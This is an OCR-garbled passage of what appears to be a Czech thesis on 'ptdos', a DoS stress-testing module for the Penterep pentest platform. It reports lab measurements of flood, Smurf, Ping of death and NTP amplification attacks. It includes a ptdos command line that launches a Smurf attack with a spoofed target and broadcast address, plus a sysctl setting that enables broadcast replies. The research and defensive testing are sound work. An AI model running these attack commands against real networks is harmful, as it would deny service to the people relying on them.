socket pomoci funkce create_socket(), viz fadek ¢. 3. Protoze protokol HTTP
pouziva transportni protokol TCP, tak po vytvoreni socketu je nutné zavolat funkci
connect (), kterd sestavi spojeni s cilovym systémem. Na fadku ¢. 5 je vytvoren
HTTP POST pozadavek pomoci funkce rudy_request (), ktery je nasledné funkei
send () odeslan na cilovy systém, ¢imz je cilovy systém informovan o tom, ze ma
oc¢ekéavat prijeti POST pozadavku s velkou datovou ¢asti hlavicky (content-length).
V cyklu while probihd zminéné velmi pomalé zasilani malého mnozstvi nahodné
vygenerovanych dat pozadavku POST, ¢imz je udrzovano spojeni oteviené. Aby do-
slo ke zminéné ,pomalosti® odesilani dat, je pred kazdym odeslanim dat spusténa
pauza pomoci funkce sleep, jejiz doba je udavana proménnou sleeptime. Pokud pfti
odesilani dat ve funkci send () dojde k chybé, tak nastane vyjimka, viz radek ¢. 11,
a prislusné vladkno je s ¢islem procesu pridano do seznamu vlaken err_proc_list

urc¢enych ke smazani.

2.8 Integrace s externim systémem Penterep

Aplikace ptdos je od zacatku vyvijena s cilem implementace do externtho systému
Penterep, kde bude plisobit jako jeden z moduli, které realizuji penetracni a zatézové
testy. Konkrétné ptdos bude realizovat zatézové testovani s vyuzitim DoS ttok.

Obecné je Penterep komplexni systém slouzici k realizaci a spravé bezpecnostnich
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testy
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Obr. 2.4: Architektura systému Penterep.

test pro komercni I'T subjekty. Sklada se ze dvou hlavnich ¢asti - modularni webové

aplikace a aplikace pro realizaci testi.

2.8.1 Architektura Penterep

Prvni casti systému je modularni webova aplikace uré¢ena pro spravu a komplexni
realizaci bezpec¢nostnich penetracnich a zatézovych testii, kterd je primarné urcena
ke spravé a tizeni bezpecnostnich testli. Tato aplikace se sklada ze dvou zakladnich
casti, aplikacniho serveru AS, a serveru pro spravu uzivatelskych uc¢tia UMS. Druhou
casti je aplikace pro realizaci specifickych automatickych penetracnich testi. Ta rea-
lizuje specifické bezpecnostni testy pomoci specializovanych moduli. Realizace testt
bude inicializovana vzdy z webové aplikace aplikacniho serveru. Na obr. je zna-
zornéno schéma architektury systému Penterep, kde jsou vidét relace mezi jednot-
livymi moduly, uzivatelem a testovanym serverem. Na obr. 2.5 je pfilozena ukazka
grafického rozhrani modularni webové aplikace. Skrz webové rozhrani bude obsluha

spravovat a evidovat pribéh penetracniho testovani.

2.8.2 Komunikacni schéma Penterepu

Uzivatel, neboli tester webovych aplikaci, komunikuje s webovym rozhranim aplikac-
niho serveru (AS) skrz webovy prohliZze¢ na svém stroji. Tato komunikace probiha
standardné pres sifrovany protokol HTTP(S). Ve webové aplikaci tester planuje tes-
tovaci ukoly, kde definuje typ a parametry spousténého DoS ttoku. Po zadani iikolu

zahdji AS komunikaci se serverem, jenz ma na starost automatické testovani (SAT).
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Obr. 2.5: Ukézka grafického rozhrani webové aplikace systému Penterep.

Na obr. je znazornéno komunikacni schéma systému Penterep. Komunikace mezi
AS a SAT probihd obousmérné s vyuzitim websocketu. SAT pro svij béh vyu-
ziva operacni systém Kali Linux a standardné je hostovan na dedikovaném serveru,
v pripadé nutnosti mize byt nasazen i na lokalni pocitac testera. V ramci SAT
se o komunikaci s AS stara aplikace ptmanager, jenz je napsana v jazyce Python.
Ta déld prostiednika mezi AS a testovacimi aplikacemi, kterych muze Penterep
obsahovat rizné mnozstvi, pricemz testovaci aplikace jsou rovnéz napsany v ja-
zyce Python. A pravé vyvijend aplikace ptdos je jednou z téchto testovaci aplikaci,
které Penterep vyuziva. Ptmanager je zodpovédny za prevzeti naplanovaného tkolu
z AS, spusténi pozadované testovaci aplikace, napr. ptdos, a po ukonceni testu
vraci zpatky aplikacnimu serveru vytvoreny JSON objekt, jenz obsahuje podrobné
informace o provedeném testu (dtoku). Priklad JSON objektu aplikace ptdos, ktery

obsahuje informace o provedeném testu a je uveden ve vypise [2.1

2.8.3 API rozhrani aplikace ptmanager

API rozhrani aplikace ptmanager v modulu SAT, prijimé na vstupu JSON objekt,
ptricemz kazdy vloZzeny JSON objekt se tyka jednoho konkrétniho testu (utoku).
V pripadé vyvijené aplikace ptdos bude JSON objekt vracen pro kazdy provedeny
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Obr. 2.6: Komunikac¢ni schéma systému Penterep.

test. Odpoved bude obsahovat vzdy pouze jeden JSON objekt. Obsah objektu se lisi
v zéavislosti na tom zda byl provedeny test kompletné dokoné¢en (stav testu ,,OK*)
anebo se pti jeho realizaci vyskytla chyba (stav testu ,error“). Podrobnéji jsou JSON

objekty, které budou na strané API pfijimény, popsény v kapitole [2.3]
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3 Testovani aplikace ptdos

Tato kapitola popisuje dosazené vysledky z testovani aplikace ptdos, pro které byla
vytvorena testovaci sit, kde jsou jednotliva zafizeni spojena metalickym vedenim
o Sifce pasma 1 Gbit/s. Méfeni vSech sledovanych parametri probihalo na strané
cilového systému (web server). Duvodem jsou zesilovaci itoky, kde ttocnik vygene-
ruje pouze ¢ast z celkového datového toku a pomalé tutoky, kde je nutné zachytit
realnd vytvorena spojeni na strané webového serveru. Aby bylo méreni jednotné,

bylo pristoupeno k méreni na strané cilového systému i v pripadé ostatnich ttoku.

3.1 Popis testovaci sité

Testovaci sit, zobrazend na obr. [3.1], byla sestavena v ramci lokdlni domécf sité s vy-
uzitim prepinace vybaveného porty ve standardu gigabit ethernetﬂ Dalsimi prvky
testovaci sité jsou zarizeni ptdos, v roli itoc¢nika, a web server, v roli cilového sys-
tému. Obé zafizeni pracuji se sitovymi kartami podporujici gigabitovou komunikaci.
S prepinacem jsou propojena pomoci metalického vedeni ve standardu Cat 5E, které

taktéz podporuje gigabitovou komunikaci.

internet

N——

prepinac

—_— — - —— —_— — - ——

ptdos web server

Obr. 3.1: Architektura testovaci sité.

Zarizeni uto¢nika i cilového systému jsou virtualizovany pomoci Virtualboxu,
pricemz kazdy z nich je virtualizovin na samostatném stroji. Konfigurace a po-
drobné parametry hostujicich stroji jsou uvedeny v tabulce .1}, pfidemz virtualizo-

vané stroje maji prirazeno veskeré dostupné hardwarové vybaveni hostujicich stroju.

LGigabit ethernet oznacuje rychlost komunikace az 1000 Mbit /s.
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Tab. 3.1: Parametry testovacich stroju.

Nazev Role Model Host OS VM OS Procesor ‘ RAM ‘ Software

ptdos atocénik Dell 5379 Win 11 Ubuntu 22.04 | Intel i5-8250U 1,80 GHz | 16 GB ptdos, nload, WS
web server | cilovy systém | MB Pro 2020 | macOS 12 Debian 11 Intel i5 10. gen 2 GHz | 16 GB | Apache2, nload, WS, Netdata

Utoénik pracuje s virtualizovanym operaénim systémem Ubuntu, kde je spus-
téna vlastni aplikace ptdos, kterda bude v ramci testovani realizovat jednotlivé im-
plementované utoky. Kromé realizace utokt bude ptdosem métena také rychlost
odezvy cilového systému s cilem zjistit zda pri ttocich dojde k odepreni sluzby,
pripadné ke zvyseni doby odezvy. Pro méfeni vyuzivané sitky pasma, se vyuziva
aplikace nloadE], kterd umoznuje zobrazeni sitky pasma sitového rozhrani v redlném
case. Ziskané hodnoty se pri testovani vyuzivaji k porovnani s hodnotami cilového
systému pro ovéreni spravnosti méreni.

Cilovy systém vyuziva virtualizovany operac¢ni systém Debian, kde je nainsta-
lovany webovy server Apache ve vychozi konfiguraci a bez konfigurace firewallu.
Webovy server provozuje testovaci webovou stranku, viz obréazek [3.2] kterd obsa-
huje webovy formular umoznujici zadani dat a jejich nasledné zobrazeni stisknutim
tlacitka send. Zobrazeni dat z formulare je realizovano pomoci jazyka PHPH. Protoze
jazyk PHP je vyhodnocovan na strané serveru, tak pro spravnou funkénost muselo
byt na cilovy systém doinstalovano PHP. Kromé formulare jsou na testovaci webové
strance umistény dva statické obrazky, o riznych velikostech, slouzici jako multime-
didlni prvky, které mohou byt zneuzity v ramci utokt. Diky obrazkiim ma celkova
stranka vétsi velikost, coz 1épe simuluje skutecnou webovou stranku, ktera by mohla
byt zneuzivana pro DoS ttoky. Pro monitorovani cilového systému v prubéhu testo-
vani byly pouzity aplikace nload a Netdatafll Aplikace nload je, stejné jako v pifpadé
utocnika, vyuzivana k méreni sitky pasma sifového rozhrani v realném case. Net-
data je pokrocilejsi aplikaci, kterd sbira veskeré informace o stavu stanice a umoz-
nuje vizualizaci dat pomoci interaktivniho webového rozhrani. Netdata se v ramci
testovani vyuziva pro zobrazeni pribéhu DoS ttoku v ¢ase pomoci riiznych met-
rik znazornénych grafy. Pro analyzovani sitovych protokoli za tucelem znazornéni
principt jednotlivych titokt v rdmci testovani se vyuziva aplikace Wiresharkl’] kters
je schopna zachytit data na sifovém rozhrani a prehledné je vizualizovat pro dalsi
zpracovani, viz obr. [3.9]

2 Aplikace nload je dostupnd pod licenci GNU, viz https://github.com/rolandriegel/nload.
3PHP je univerzalni skriptovaci jazyk, ktery se pouziva zejména pro vyvoj webovych aplikaci.[39)]
4 Aplikace Netdata je dostupna pod licenci GPL 3.0+, viz https://www.netdata.cloud/agent.
SWireshark je dostupny pod licenci GPL 2.0, viz https://www.wireshark.org/.
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Obr. 3.2: Testovaci webova stranka cilového systému se zpracovanim formulare.

Vzhledem k virtualizaci itoc¢nika i cilového systému a propojeni skrz smérovac
je predpokladano, ze bude realna dostupna sitka pasma mezi témito zatizenimi nizsi
nez teoretickych 1000 Mbit /s, které udava standard gigabit ethernet. Pro ovéteni jeji
skutecné velikosti bylo provedeno méfeni pomoci néstroje iPerf,[40] coz je aplikace
bézici v terminalu uréend k méteni sitky pasma v pocitacovych sitich. Pti méteni bylo
zjisténo, ze skutecnd Sirka pasma mezi utoénikem a cilovym systém je 809 Mbit/s,
viz obr. . Namérena velikost sitky pasma je o 191 Mbit/s nizs$i nez je jeji maxi-
malni teoreticka velikost. To mtze byt zapti¢inéno kombinaci vice faktori, jako jsou
ztratovost metalického vedeni, ztratovost sitovych rozhrani vSech zatizeni, jenz byly
soucasti méreni a také ztratovost v ramci virtualizace zatizeni ttocnika a cilového

systému.

3.2 Testovani zaplavovych utoki

Vsechny implementované zaplavové utoky maji stejny cil a to vygenerovat maxi-
malni velikost datového toku a tim odeprit poskytovanou sluzbu cilového systému.

7 toho divodu byly zaplavové utoky slouceny do jedné testovaci skupiny. V ramci
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Server listening on TCP port 5001
TCP window size: 128 KByte (default)

[ 4] local 192.168.0.80 port 5001 connected with 192.168.0.25 port 32860
[ ID] Interval Transfer Bandwidth
[ 4] 0.0000-60.0688 sec 5.66 GBytes 809 Mbits/sec

Obr. 3.3: Skutecna plna sitka pasma mezi ttoc¢nikem a cilovym systémem.

meéreni byly zvoleny dva testovaci scénare, které se odlisuji dostupnou velikosti sitky
pasma cilového systému. V prvnim scénari je sitka pasma neomezena a ve druhém
scénari je sitka pasma snizena. Spoleénymi vlastnostmi obou scénari je velikost da-
tové ¢asti 1400 bajti (pouze pro ttoky UDP, SYN a ICMP, kde je mozné datovou
¢ast nastavit) a doba trvani testi 60 sekund. Pro méfeni odezvy cilového systému
byla vyuzita monitorovaci sluzba check service, kterd je soucésti aplikace ptdos.
Kromé doby odezvy pti ttoku jsou zde uvedeny také tispésné a netspésné odpovedi
na jednotlivé dotazy monitorovaci sluzby check service. V ramci znazornéni vlivu
DoS ttoku na cilovy systém je vyhodnocen i nartst doby odezvy oproti hodnoté
namérené v klidovém stavu. Vygenerovany datovy tok byl méfen pomoci aplikace
nload a to jak na strané itoc¢nika tak i na strané cilového systému. Pro lepsi znézor-
néni prubéhu jednotlivych ttoka byly jednotlivé datové toky vizualizovany pomoci

aplikace Netdata.

3.2.1 Scénar s plnou Sitrkou pasma

Jak bylo uvedeno v kapitole [3.1], tak skutecnd sitka pasma mezi itoénikem a cilo-
vym systémem je 809 Mbit/s. Jak je mozné vidét z grafi na obr. , tak zadny
ze zaplavovych utoki nebyl schopen vygenerovat dostatecné velky datovy tok na to,
aby dostupnou sitku pasma zaplnil, tzn. k dplnému odepteni sluzby nedoslo ani
pri jednom realizovaném utoku. Jesté pred zahajenim testovani byla zméfena kli-
dova doba odezvy cilového systému, ta méla velikost 5,3 ms. U vsech utoku lze
pozorovat narist doby odezvy cilového systému ve srovnani s klidovou hodnotou,
viz tabulka [3.2] Nejvétsi ndrust doby odezvy byl zaznamendn pii ttocich SYN flood
ICMP flood. Vsechny tutoky zalozené na protokolu HTTP pak zvysily dobu odezvy
priblizné o stejnou velikost. Naopak pri utoku UDP flood, kde je prumérny datovy
tok druhy nejvétsi, doba odezvy vzrostla pouze o 57 %. Jako nejacinéjsi zaplavovy
utok lze povazovat SYN flood, kdy doslo k nejvétsimu nartstu doby odezvy a cel-
kem bylo zaznamenano 8 netispésnych odpovédi monitorovaci sluzby z celkovych 47.
To je dano tim, ze s kazdym TCP SYN segmentem byl spojen pokus o sestaveni
spojeni, coz vycerpalo sitové prostredky cilového systému aniz by doslo k plnému
zahlceni sitky pasma. Diky tomu byla schopnost komunikace cilového systému ome-

zena a doslo k ¢astecnému omezeni dostupnosti sluzby cilového systému. K tplnému
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odepreni sluzby vsak pti zaplavovych utocich nedoslo, protoze zaplavové utoky jsou
casto vyuzivany v ramci itoktt DDoS, kde se na celkovém datovém toku podili vysoké
mnozstvi ttocicich zafizeni. Pti vyuziti pouze jednoho zarizeni ito¢nika, s omezenym
vypocetnim vykonem, neni mozné, v sestavené testovaci siti, vygenerovat dostatecné

vysoky datovy tok na to, aby doslo k pozadovanému odepreni poskytované sluzby.

Tab. 3.2: Testovani zaplavovych ttokt s plnou sitkou pasma, délka testu 60 s, doba

odezvy cilového systému v klidovém stavu 5,3 ms.

Utok Data Pram. dat. tok | Prim. odezva Nartst Uspésné Netispésné
odezvy odpovédi odpovédi
UDP 1400 B | 350 Mbit/s 8,3 ms 57 % 59 0
SYN 1400 B | 193 Mbit/s 132,1 ms 2392 % 39 8
ICMP | 1400 B | 220 Mbit/s 52,1 ms 882 % 56 0
GET 348 Mbit/s 11,38 ms 115 % 59 0
HEAD 257 Mbit/s 12,51 ms 136 % 59 0
POST 374 Mbit/s 13,16 ms 148 % 59 0

3.2.2 ScénaF s omezenou Sirkou pasma

Protoze pri neomezeném scénafi nebylo mozné vygenerovat dostateéné vysoky da-
tovy tok, aby doslo k zahlceni cilového systému a odepteni sluzby, bylo pii tomto scé-
nari pristoupeno k omezeni sitky pasma na strané cilového systému. Pomoci nastroje
Wondershapelﬁ byla velikost sifky pasma cilového systému omezena na 300 Mbit /s
namisto puvodnich 1000 Mbit/s. Piikaz pouzity k omezeni sitky pasma je uveden
ve vypise , omezeni je nutné nastavit pro konkrétni sitové rozhrani (-a enp0s3)

v obou smérech komunikace.
sudo ./wondershaper -a enp0s3 -u 300000 -d 300000

Vypis 3.1: Omezeni sitky pasma na 300 Mbit pomoci néstroje wondershaper.

V ramci kontroly spravného nastaveni omezeni sitky pasma bylo provedeno kont-
rolni méfeni mezi ttocnikem a cilovym systémem opét pomoci néstroje iPerf. Z mé-
reni vyplyvé, ze skutecnd $itka pasma po omezeni je priblizné 293 Mbit/s. Tato
hodnota odpovidd nastavenému omezeni sitky pasma. V ramci omezeni byla zmeé-
fena i doba odezvy cilového systému v klidovém stavu, ta dosahla hodnoty 6,4 ms,
coz je mirny nartist oproti 5,3 ms pii neomezeném scénari.

Z nameérenych hodnot v tabulce [3.3] a grafickych prubéht na obr. je pa-

trné, ze diky omezeni $itky pasma vzrostla u vsech testovanych utokiu doba odezvy.

SWondersh. je dostupny s lic. GPL 2.0, viz https://github.com/magnific0/wondershaper.
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a» Pfijata data a» Odeslana data

Obr. 3.4: Datovy tok cilového systému pro zéaplavové titoky s plnou sitkou pasma.

7, pohledu netspésnych odpovédi monitorovaci sluzby byl opét nejefektivnéjsi iitok
SYN flood, u kterého doslo k omezeni kvality poskytované sluzby cilového systému.
Pri itocich UDP a ICMP flood lze rovnéz pozorovat zvysené doby odezvy a narustu
chybovosti odpovédi monitorovaci sluzby, kdy v pripadé ICMP flood byla skoro
polovina pozadavki monitorovaci sluzby netuspésnych. V ptipadé obou typil ttoki
doslo k omezeni kvality poskytované sluzby, ale nedoslo k jejimu tiplnému odepteni.
V ramci utokia HTTP GET a POST flood doslo k vyraznému zvyseni doby odezvy
cilového systému. Zvyseni je sice z pohledu procent takika desetindsobné, ale dle
méreni monitorovaci sluzby doslo k zahozeni pouze jednoho pozadavku monitoro-
vaci sluzby z celkovych 55. Dopad na kvalitu poskytované sluzby cilovym systémem

je tak minimélni. Datovy tok ttoku HTTP HEAD flood, stejné jako pfi neomeze-

64



Tab. 3.3: Testovani zaplavovych tutoki s omezenou sitkou pasma, délka testu 60 s,

doba odezvy cilového systému v klidovém stavu 6,4 ms.

Utok | Data Pram. dat. tok | Prim. odezva | Narust Usp&iné Netispésné
odezvy odpovédi odpovédi

UDP 1400 B | 287 Mbit/s 26,71 ms 317 % 42 9

SYN 1400 B | 192 Mbit/s 90,37 ms 1312 % 35 11

ICMP | 1400 B | 242 Mbit/s 43,05 ms 573 % 50 4

GET 290 Mbit/s 74,92 ms 1071 % 54 1

HEAD 212 Mbit/s 13,34 ms 108 % 59 0

POST 290 Mbit/s 71,1 ms 1011 % 54 1

ném scénari, nemél takovou hodnotu, aby doslo k omezeni poskytované sluzby. Ikdyz
pti omezeni $itky pasma na 300 Mbit/s doslo ke zvySeni prumérné odezvy cilového
systému a diky tomu i k ¢astecnému snizeni kvality poskytované sluzby, tak nedoslo
k tplnému odepteni sluzby. Datovy tok se sice blizil maximalnimu moznému, ale pro-
toze jej vysoce neprekracoval, tak byl cilovy systém i pti itoku schopen odpovidat na
pozadavky monitorovaci sluzby. Aby doslo k iiplnému odepreni sluzby, musela by byt
sitka pasma omezena jesté vice, anebo by datovy tok musel byt dostatecné vysoky
na to, aby cilovy systém nebyl schopen komunikace s jinymi zatrizenimi. Proto jsou
zaplavové ttoky vyuzivany zejména pri utocich DDoS, kde je mozné vyssim poctem

utocicich zarizeni, dosahnout vyssiho datového toku a tim i odepreni sluzby.

3.3 Testovani zesilovaciho utoku Smurf

Pri Smurf dtoku tutocnik generuje velké mnozstvi ICMP echo pozadavku (echo
request) s podvrzenou zdrojovou IP adresou cilového systému, které zasila na vse-
smérovou adresu lokalni sité. Diky vyuziti vSesmérové adresy jsou echo pozadavky
dale rozeslany na vsSechna zafizeni, kterd se v siti nachézi. Jakmile zatizeni echo
pozadavek prijme, tak na néj odpovidda ICMP echo odpovédi (echo reply), ktera
je ovSem smérovana na cilovy systém. Schématicky je tato situace znazornéna v te-
oretické ¢asti na obr.[I.11] V rdmci testovani bude zafizeni v siti, zneuzité p¥i Smurf
utoku, oznacovano jako bot. Aby se bot zapojil do utoku, tak musi mit povolen
prijem vsesmérovych ICMP echo pozadavki. Pii testovani bylo zjisténo, ze zafi-
zeni s macOS maji tuto komunikaci ve vychozim stavu povolenou, u zafizeni s OS
Linux (Debian, Ubuntu, Kali, apod.) je nutné tuto komunikaci explicitné povolit
pomoci parametru net.ipv4.icmp_echo_ignore_broadcasts = 0 v souboru /etc
/sysctl.conf. Pro ndzornou demonstraci funkénosti itoku byla pomoci néastroje

Wireshark zachycena komunikace na vsech zarizenich, které jsou do utoku zapo-
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Obr. 3.5: Datovy tok cilového systému pro zaplavové tutoky s omezenou sitkou

pasma.

jené, viz obr. Konkrétné se jednd o tto¢nika, bota a cilovy systém. Utocnik
generuje echo pozadavky se zdrojovou IP 192.168.0.80 (cilovy systém) a cilovou IP
192.168.0.255 (vSesmérova adresa testovaci sité). V popisovaném prubéhu bylo vyge-
nerovano 5 pozadavkl. Diky vSesmérové cilové IP adrese jsou pozadavky rozeslany
na vsSechna zafizeni v siti. Tato skutec¢nost je patrna na strané bota, kde jsou tyto
pozadavky prijimany. Bot na né odpovida echo odpovédmi, které zasila na cilovy
systém, coz je zachyceno v posledni ¢asti komunikace. Na strané cilového systému
jsou zachyceny odpovédi ze dvou ruznych IP adres, protoze ptfi demonstraci byli
vyuziti 2 boti. Je dilezité zminit, ze v zachycené komunikaci se neobjevuje IP ad-
resa Utocnika (192.168.0.25, viz architektura testovaci sité na obr. [3.1). To je ddno
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skutecnosti, ze z této IP adresy jsou vysilany pozadavky na vSesmérovou adresu
sité, které jsou dale rozeslany na vSechny zarizeni v siti kromé vychoziho zafizeni.
V ramci testovani jsou zvoleny dva scénafe a to se zapojenim dvou a ¢ty bott
z diivodu zjisténi, jak velky vliv ma pocet botl na velikost celkového datového toku
smérovaného na cilovy systém. Aby bylo mozné vysledky srovnat se zaplavovymi
utoky, tak byla zvolena délka testovani 60 sekund a velikost datové ¢asti 1400 bajti.
Pouzity spoustéci piikaz aplikace ptdos je uveden ve vypisu [3.2]

utocnik
L] \icmp.type==
No. Time Source Destination Protocol Length Info
4 8.859469205 192.168.0.80 192.168.0.255 ICMP 1066 Echo (ping) request id=exeeee, seq=6/®, ttl=255 (no response found!)
5 9.869377067 192.168.0.80 192.168.6.255 ICMP 1066 Echo (ping) request id=8xeeee, seq=0/0, ttl=255 (no response found!)
16 10.873776703 192.168.0.80 192.168.0.255 ICMP 1066 Echo (ping) request id=0x0000, seq=0/0, ttl=255 (no response found!)
27 11.886560912 192.168.0.80 192.168.0.255 ICMP 1066 Echo (ping) request id=0x0000, seq=0/0, ttl=255 (no response found!)
39 12.894087001 192.168.0.80 192.168.0.255 ICMP 1066 Echo (ping) request id=0x0000, seq=0/0, ttl=255 (no response found!)
vag o -
zneuzité zarizeni(bot)

[ [iemp

No. Time Source Destination Protocol | Length Info
92 12.884493382 192.168.0.80 192.168.0.255 ICMP 1066 Echo (ping) request id=0x0000, seq=0/0, ttl=255 (no response found!)
93 12.884524226 192.168.0.213 192.168.0.80 ICHMP 1066 Echo (ping) reply 1d=0x0000, seq=0/0, ttl=64
94 13.894233173 192.168.0.80 192.168.0.255 ICMP 1066 Echo (ping) request 1id=0x0000, seq=0/0, ttl=255 (no response found!)
95 13.894263260 192.168.0.213 192.168.0.80 ICMP 1066 Echo (ping) reply id=0x0000, seq=0/0, ttl=64
96 14.898148289 192.168.0.80 192.168.0.255 ICMP 1066 Echo (ping) request id=0x0000, seq=0/0, ttl=255 (no response found!)
97 14.898178758 192.168.0.213 192.168.0.80 ICMP 1066 Echo (ping) reply 1d=0x0000, Seq=0/0, tt1=64
98 15.910479955 192.168.0.80  192.168.0.255 ICMP 1066 Echo (ping) request 1id=0x0000, seq=0/0, ttl=255 (no response found!)
99 15.910511977 192.168.0.213 192.168.0.80 ICMP 1066 Echo (ping) reply id=0x0000, seq=0/0, ttl=64
101 16.917702710 192.168.0.80 192.168.8.255 ICMP 1066 Echo (ping) request 1id=0x0000, seq=0/0, tt1l=255 (no response found!)
102 16.917739269 192.168.0.213 192.168.0.80 ICMP 1066 Echo (ping) reply id=0x0000, seq=0/0, ttl=64

cilovy systém

|l |icmp‘type==0

No. Time Source Destination Protocol Length Info
107 15.708306887 192.168.0.157 192.168.0.80 ICMP 1066 Echo (ping) reply 1d=0x0000, seq=0/0, ttl=64
109 15.708575451 192.168.0.213 192.168.0.80 ICMP 1066 Echo (ping) reply id=0x0000, seq=0/0, ttl=64
115 16.717404230 192.166.0.157 192.168.0.80 ICMP 1066 Echo (ping) reply id=0x0000, seq=0/0, ttl=64
116 16.717574132 192.166.0.213 192.168.0.80 ICMP 1066 Echo (ping) reply id=0x0000, seq=0/0, ttl=64
132 17.720656445 192.168.0.157 192.168.0.80 ICMP 1066 Echo (ping) reply id=0x0000, seq=0/0, ttl=64
133 17.720846563 192.168.0.213 192.168.0.80 ICMP 1066 Echo (ping) reply id=0x0000, seq=0/0, ttl=64
145 18.732323879 192.168.0.157 192.168.0.80 ICMP 1066 Echo (ping) reply id=0x0088, seq=0/0, tt1=64
146 18.732475783 192.168.0.213 192.168.0.80 ICMP 1066 Echo (ping) reply id=0x0088, seq=0/0, tt1=64
161 19.738858994 192.168.0.157 192.168.0.80 ICMP 1066 Echo (ping) reply id=0x0088, seq=0/0, tt1=64
162 19.739027698 192.168.0.213 192.168.0.80 ICMP 1066 Echo (ping) reply id=0x0088, seq=0/0, tt1=64

Obr. 3.6: Pribéh utoku Smurf zachyceny Wiresharkem z pohledu vsech zarizeni.

sudo ptdos -a smurf -d 60 -dl1 1400 -dst 192.168.0.80 -bc
192.168.0.255

Vypis 3.2: Spoustéci prikaz aplikace ptdos pro realizaci ttoku Smurf.

3.3.1 ScénarF se dvéma boty

P1i pouziti dvou botl byl na cilovém systému namétren celkovy primeérny datovy
tok 22 Mbit/s, viz graf na obr. m Diky velmi nizkému datovému toku nebylo
dosazeno odepreni poskytované sluzby. Je dilezité zminit, ze pri utoku ICMP flood
byla velikost datového toku priblizné 450 Mbit/s, coz je ve srovnani se Smurfem vyssi
tok o takika 430 Mbit/s. Vysvétlenim pro tak nizky datovy tok je pravdépodobné
rychlost zpracovani dat smérovacem, kdy smérova¢ musi preposilat veskera data,
prijatda vSesmérovou adresou, vSem zaflizenim v siti a to i v pripadé, ze zarizeni

na vsesmeérovou komunikaci neodpovidaji.
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Obr. 3.7: Datovy tok cilového systému pti ttoku Smurf se dvéma boty.

3.3.2 Scénar se ¢tyfmi boty

Diky zvyseni poctu botl, zapojenych do Smurf titoku, byl zvysSen také celkovy pri-
mérny datovy tok. Jak je vidét v grafu na obr. 3.8 datovy tok na strané cilového
systému, dosdhl priamérné velikosti 41 Mbit /s, coz je pfiblizné dvojnasobnd hodnota
datového toku pri pouziti dvou botl. Z téchto vysledkl je mozné usoudit, ze datovy
tok je pfimo tmérny poc¢tu botl zapojenych do ttoku. V ramci testovaci sité od-
povidé datovy tok na jednoho bota priblizné 10 Mbit/s. Ani tento datovy tok vsak
neni dostatecny pro dosazeni odepreni poskytované sluzby cilovym systémem. Z teo-
retického hlediska by vSak datovy tok mohl byt zesilen az faktorem 255 (viz tabulka
zesilovacich faktort , coz by odpovidalo celkovému datovému toku 2550 Mbit /s
(255 krat 10 Mbit/s). Takovy datovy dok by jiz byl vice nez dostateény pro zahlceni

cilového systému v gigabitovych sitich.
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Obr. 3.8: Datovy tok cilového systému pti ttoku Smurf se ¢tyrmi boty.

3.4 Testovani logického utoku Ping of death

V rdmci utoku Ping of death je na cilovy systém odeslan paket s datovou c¢asti o veli-
kosti 65515 bajtl. Vzhledem k tomu, ze MTU v testovaci siti méa velikost 1500 bajt,
tak dojde k fragmentaci odeslaného paketu, viz obr. Dle teoretickych predpo-

kladii by, po prijeti a sestaveni nadrozmérného ICMP paketu cilovym systémem,
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méla nastat jeho havarie, zablokovani ¢i restart systému, coz je popsano v teoretic-
kém popisu atoku v kapitole [I.7.8] Z testovani bylo zjisténo, Ze se zadnd havérie
cilového systému nestala. Je to dano tim, ze moderni IT systémy a zafizeni maji
implementované mechanismy, které je pfed Ping of death itokem ochrani. Jednim z
ochrannych mechanismi miize byt kontrola procesu opétovného sestaveni fragmento-
vaného paketu, ktera zajisti, ze pti sestaveni nebude prekroc¢ena maximélni velikost
paketu. Dalsim mechanismem muze byt dostatecné velka vyrovnavaci pamétf pri-
jemce, kterd zvladne obsdhnout i nadrozmérné ICMP pakety.[41] Vzhledem k tomu,
ze je utok Ping of death implementovan podobnym zptisobem jako zaplavové ttoky
a velikost datové ¢asti ICMP je vysokd, tak mize byt ttok vyuzit jako dalsi zépla-
vovy ttok. Pri méreni bylo zjisténo, ze prumérna velikost datového toku dosahuje
546 Mbit/s. Prubéh ttoku ze strany cilového systému je zndzornén na obr. m

No.  Time Source Destination Protocol Length Info

36 0.000206384 192.168.0.25 192.168.0.80 IPv4d 1514 Fragmented IP protocol (proto=ICMP 1, off=51800, ID=eb03) [Reassembled in #45]
37 0.000206949 192.168.0.25 192.168.0.80 IPv4 1514 Fragmented IP protocol (proto=ICMP 1, off=53280, ID=eb03) [Reassembled in #45]
38 0.000207014 192.168.0.25 192.168.0.80 IPv4 1514 Fragmented IP protocol (proto=ICMP 1, off=54760, ID=eb@3) [Reassembled in #45]
39 0.000207077 192.168.0.25 192.168.0.80 IPv4 1514 Fragmented IP protocol (prote=ICMP 1, off=56248, ID-eb83) [Reassembled in #45]
40 0.000207138 192.168.0.25 192.168.0.80 IPv4 1514 Fragmented IP protocol (proto=ICMP 1, off=57720, ID=eb83) [Reassembled in #45]
41 0.000207199 192.168.0.25 192.168.0.80 IPv4 1514 Fragmented IP protocol (proto=ICMP 1, off=59200, ID-eb®3) [Reassembled in #45]
42 0.000207261 192.168.0.25 192.168.0.80 IPv4 1514 Fragmented IP protocol (proto=ICMP 1, off=60680, ID=ebd3) [Reassembled in #45]
43 0.000371038 192.168.0.25 192.168.0.80 IPv4 1514 Fragmented IP protocol (proto=ICMP 1, off=62160, ID=eb@3) [Reassembled in #45]
44 0.000371171 192.168.0.25 192.168.0.80 IPv4 1514 Fragmented IP protocol (proto=ICMP 1, off=63640, ID=eb03) [Reassembled in #45]
45 0.000371252 192.168.0.25 192.168.0.80 ICMP 429 Unknown ICMP (cbsolete or malformed?)

Obr. 3.9: Wiresharkem zachycena fragmentace ICMP paketu, prijatého cilovym sys-

témem, pri utoku Ping of death.
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Obr. 3.10: Datovy tok cilového systému pri ttoku Ping of death.

3.5 Testovani zesilovaciho atoku NTP

Jak bylo popsano v teoretické kapitole [L.7.9] tak pfi tomto typu ttoku se zneuziva
pozadavek monlist, ktery umoznuje vygenerovani nékolikanadsobné vétsi odpovedi
NTP serveru nez byl prijaty pozadavek. Pti testovani bylo zjiSténo, ze velikost vy-

sledného datového toku, prijatého cilovym systémem, neodpovida predpokladanému
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zesileni. Pri hledani ptic¢iny bylo zjisténo, ze NTP servery, vyuzivajici démona (da-
emon) ntpd[] s verzi 4.2.7p26 anebo novejsi, maji ve vychozim stavu zablokované
prijimani pozadavku monlist, takze nemtze dochazet k jeho zneuzivani v rdmci ze-
sileni DoS utoku.[42] Ovéreni, jestli je pozadavek monlist na NTP serveru povolen
¢i zablokovan, lze provést pomoci piikazu ntpdc -n -c monlist NTP_sever_IPﬁ
